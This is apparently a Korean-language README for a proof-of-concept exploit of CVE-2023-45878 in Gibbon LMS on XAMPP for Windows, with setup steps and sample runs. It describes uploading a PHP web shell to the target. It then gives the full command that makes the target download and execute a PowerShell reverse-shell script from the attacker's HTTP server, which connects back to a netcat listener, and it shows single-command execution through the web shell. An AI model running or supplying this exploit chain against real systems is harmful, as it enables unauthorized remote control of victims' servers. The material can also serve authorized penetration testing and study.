
XAMPP Windows에서 Gibbon LMS용 CVE-2023-45878 PoC
XAMPP Windows 환경의 gibbon LMS를 위한 CVE-2023-45878 PoC입니다. 명령 주입을 위해 shell.php라는 웹셸을 업로드합니다. 리버스 셸의 경우 shell.ps1이라는 PowerShell 리버스 셸 ps1 스크립트를 업로드하며, 이 스크립트는 shell.php를 사용하여 대상 머신에 업로드됩니다.
Python3 Requests Python3 모듈 netcat
pip3 install requests
mkdir CVE-2023-45878
cd CVE-2023-45878
python3 -m venv CVE
source CVE/bin/activate
cd ..
pip3 install requests
AV가 비활성화된 상태의 XAMPP Windows에서 실행 중인 Gibbon LMS에서 테스트했습니다. 대상은 Gibbon 로그인 페이지를 통해 확인할 수 있습니다. 예: http://gibbon-example/Gibbon-LMS/
python3 reverse.py --reverse-shell -target_url http://target -ip IP -port REV-PORT -srvport SRVPORT
[+] PHP shell uploaded successfully to http://target/shell.php
[+] PowerShell reverse shell script saved to: shell.ps1
[+] The shell is now hosted at shell.ps1
Starting reverse shell listener in background...
Starting netcat listener on ip:REV-PORT...
[+] HTTP server running in the background on port SRVPORT
[+] Executing PHP shell to download and execute shell.ps1
Executing: http://target/shell.php?cmd=powershell%20-nop%20-w%20hidden%20-c%20IEX%20%28New-Object%20Net.WebClient%29.DownloadString%28%27http%3A//IP%3ASRVPORT/shell.ps1%27%29
[+] HTTP server started on http://0.0.0.0:SRVPORT/
TARGET-IP - - [20/Mar/2025 12:59:11] "GET /shell.ps1 HTTP/1.1" 200 -
Connection from TARGET-IP
PS C:\xampp\htdocs\Gibbon-LMS>
python3 reverse.py --single -target_url http://target -command whoami
[+] PHP shell uploaded successfully to http://target/shell.php
[+] Executing PHP command
Executing: http://target/shell.php?whoami
[+] Command executed successfully pres enter
vuln\w.webservice